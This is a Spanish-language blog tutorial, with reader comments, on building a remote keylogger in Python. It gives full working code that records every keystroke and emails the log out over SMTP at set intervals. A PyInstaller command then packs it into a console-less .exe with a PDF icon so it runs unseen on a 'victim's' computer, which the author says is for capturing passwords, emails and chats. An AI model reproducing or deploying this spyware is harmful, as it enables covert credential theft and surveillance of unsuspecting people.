web analytics

Cómo crear un keylogger usando Python

keylogger python

Crea tu propio Keylogger usando Python

 

En este artículo crearemos nuestro propio keylogger remoto, un keylogger es un programa que registra todas las datos ingresados por el teclado.  Programas como estos son muy importantes debido a su naturaleza en almacenar todo lo que el usuario presiona en el teclado.

[wp_ad_camp_1]

Podrás almacerar usuarios, claves, correos, chats y un sin número de casos adicionales, hay 2 tipos de keyloggers: los que guardan la información localmente y los remotos que envían la información a un correo o a un servidor. Este último es más útil para mi y por eso quiero enseñarles cómo hacerlo.

Empezaremos con lo básico del programa y por último crearemos un ejecutable que corra en segundo plano sin que el usuario se de cuenta, para esto lo camuflaremos dentro de un archivo pdf.

No me hago responsable por el uso que le den.

Instalando las librerías

Instalaremos las librerias pynput y pyinstaller, adicionalmente usaremos las librerias que por defecto vienen con python las cuales son threading y smtplib

pip install pynput

[wp_ad_camp_2]

pip install pyinstaller

 

Creando el código

Importaremos la libreria que previamente instalamos e invocaremos al método  keyboard.Listener el cual registra todo lo ingresado en el teclado.

import pynput.keyboard

def process_key_press(key):
    print (key)

keyboard_listener = pynput.keyboard.Listener(on_press = process_key_press)

 

Pero hasta aquí simplemente hemos creado la función pero no la hemos inicializado. Para esto usamos "with" junto con el método .join()  al final de nuestro código ya creado.

Te puede interesar:  Introducción a APIs de datos

with keyboard_listener:
    keyboard_listener.join()

 

Ahora si corremos el programa notaremos que registra en la consola todo lo que se teclea, pero el resultado no es muy fácil de leer.

Para solucionar esto, modificaremos la función para que omita los espacios además crearemos una función para que se envíen los reportes al correo que querramos dada una cantidad de tiempo que podemos determinar.

Crearemos una clase a la que por convención llamaremos keylogger y en esta pondremos las funciones que hemos creado. Hacemos de esta manera para tener un mejor control, es decir, una programación orientada a objetos.

[wp_ad_camp_3]

A continuación les muestro el código del primer archivo .py de nuestro keylogger (son 2 archivos),  considero que no es necesario explicar todo el código porque es fácil de leer y se puede deducir lo que hace. Y si estás en este tutorial es porque ya tienes el conocimiento básico de python y entiendo que quieres ir al grano, ir directo a cómo hacer el keylogger.

El primer archivo .py es el siguiente. Sugiero que lo llames keylogger.py

import pynput.keyboard
import threading
import smtplib



class Keylogger:
    def __init__(self, time_interval,email,password):
        self.log = "Keylogger started"
        self.interval = time_interval
        self.email = email
        self.password = password

    def append_to_log(self, string):
        self.log = self.log + string

    def process_key_press(self, key):
        try:
            current_key = str(key.char)
        except AttributeError:
            if key == key.space:
                current_key = " "
            else:
                current_key = " " + str(key) + " "
        self.append_to_log(current_key) 

    def report(self):
        self.send_mail(self.email, self.password, "\n\n" + self.log)
        self.log = ""
        timer = threading.Timer(self.interval, self.report)
        timer.start()

    def send_mail(self,email,password,message,):
        server = smtplib.SMTP("smtp.office365.com", 587)
        server.starttls()
        server.login(email,password)
        server.sendmail(email,email,message)
        server.quit

    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()

 

Te puede interesar:  Crea tu propia nube de palabras (Word Cloud)

Nótese que la función send_mail usa la libreria smtplib y a su vez para este ejemplo que yo usé una cuenta hotmail tuve que escribir la dirección smtp (smtp.office365.com) junto con el puerto. Si usas gmail o yahoo puedes googlear cuál es la dirección smtp

Ahora procedemos a crear otro archivo python, este puedes llamarlo como quieras y de preferencia que esté en la misma carpeta donde tienes keylogger.py

En este archivo importaremos keylogger (nuestro primer archivo) y gracias a que creamos una clase la podremos ahora llamar y asignar los parámetros.

[wp_ad_camp_4]

Si revisaste el código del primer archivo (keylogger.py) te habrás dado cuenta que el primer parámetro es el intervalo de tiempo para que se envíen los mensajes, el segundo parámetro es el correo y el tercer parámetro es la clave del correo.

Está de más decir que los reportes serán enviados a esa misma dirección de correo.

import keylogger

my_keylogger = keylogger.Keylogger(200,"[email protected]","clave_correo")
my_keylogger.start()

Y ya está creado nuestro keylogger

Convirtiéndolo a un ejecutable y ocultándolo en un pdf

Pero esto no es todo, somos buenos hackers éticos y debemos hacer que el programa corra silenciosamente en la computadora de la víctima.

La mejor manera es por medio de incrustar el keylogger en una foto o un pdf. Usaremos la libreria pyinstaller para poder convertir el .py a un .ejecutable .exe y con esta librería también añadiremos un ícono.

Te puede interesar:  Por qué fracasan los proyectos: errores de iniciación

En la misma carpeta donde están los dos archivos que hemos creado, daremos click derecho y seleccionaremos abrir ventana de comandos (cmd)

En la ventana de comandos escribiremos estas lineas.

E:\PythonProjects\EthicalHacking\keylogger>C:\Python3\Scripts\pyinstaller.exe --add-data "E:\Desktop\Data\Control\sample.pdf;." --onefile --noconsole --icon C:\Users\Usuario\Downloads\pdf.ico mikeylogger.py

 

[wp_ad_camp_5]

Te las explico: La primera ruta hace referencia a la carpeta donde yo tenía guardado los archivos, la segunda ruta es donde se instaló la librería pyinstaller (esto debe estar correctamente referenciado).

Luego añadimos el comando --add-data el cual como su nombre lo dice añade la data, en nuestro ejemplo puse la ruta de un pdf de muestra. Esta ruta debe ir entre comillas.

Los comandos --onefile hacen que todo se empaquete en un solo archivo .exe y --noconsole hace que el programa se ejecute en segundo plano sin que se muestre nada a la víctima.

El comando --icon sirve para añadir un ícono al ejecutable, de preferencia que sea un ícono de un pdf

Y por último ponemos el nombre de nuestro segundo archivo .py  para que ese sea el que se convierta.

Pyinstaller empaqueta de tal manera que no es necesario que la víctima tenga python instalado lo cual es de extrema utilidad.

 

Si te gustó este tutorial, déjamelo saber en los comentarios al igual con las dudas y comentarios que tengas.

Así me darás ánimos para seguir escribiendo más tutoriales.

  1. AffiliateLabz dice:

    Great content! Super high-quality! Keep it up! 🙂

  2. Pedro F. dice:

    Gracias!! Justo lo que necesitaba. =)

  3. Excellent post. I was checking continuously this blog and
    I'm impressed! Extremely helpful information specially the
    last part 🙂 I care for such information much. I was seeking this certain info for a long time.
    Thank you and good luck.

  4. Evelyn dice:

    As I website possessor I believe the written content
    here is real excellent, regards for your efforts.

  5. Milagro dice:

    Vegetta como se llama tu crew

  6. José dice:

    Hola, como estás hermano gracias por tu ayuda con esta página y este tutorial muy bueno.

    Bendito sea y sigas adelante.

    La verdad quiero saber si puedes explicarme cómo lo puedo hacer en Python este keylogger pero utilizando Qpython OL para móvil ? O en CShard para móvil utilizando C# Shell ? O en java utilizando JAVA-N IDE por favor te agradezco gracias.

    1. Rubén dice:

      Hola!
      Puedes usar el mismo código en el editor que prefieras.
      Para C# no sé como hacerlo ya que estoy usando librerías de python.

  7. DarkPhoenix dice:

    disculpe pero quisiera que me ayudaran en que como puedo saber si tengo el smtplib y el threading instalados en mi visual studio code ya que el code creo que no me funciona bn por favor ayuda

    1. Rubén dice:

      Hola!
      Puedes poner en la consola de comandos lo siguiente
      pip install upgrade smtplib

  8. Mauricio dice:

    Hey bro al momento de ejecutar el .exe me sale failed to execute script, tendras alguna solucion? Gracias por la enseñanza

    1. Rubén dice:

      Se te generó correctamente el .exe? Revisa la consola si te sale que fue generado exitosamente.

      Otra posible causa es que tengas bugs en el script como tal. Te sugiero primero ir probando y cuando ya te funcione correctamente ahí si creas el ejecutable.

  9. Anton dice:

    Buen tutorial, solo que tengo un problema que espero y me puedas ayudarme a resolver, el script funciona correctamente en python pero cuando paso a convertirlo a .exe y a ejecutarlo ya no funciona, lo mande a ejecutar desde la consola y me salen los siguientes errores:
    File "PyInstaller\loader\pyimod03_importers.py", line 540, in exec_module
    File "pynput\__init__.py", line 40, in
    File "PyInstaller\loader\pyimod03_importers.py", line 540, in exec_module
    File "pynput\keyboard\__init__.py", line 31, in
    File "pynput\_util\__init__.py", line 76, in backend
    ImportError
    [4140] Failed to execute script

  10. alonso dice:

    Hola, no me esta funcionado el código me dice que hay un error con la primera línea...

    1. Rubén dice:

      Hola! Podrías mostrarme qué error te sale?

  11. Arys dice:

    gracias hermano muy bueno

Deja una respuesta

Subir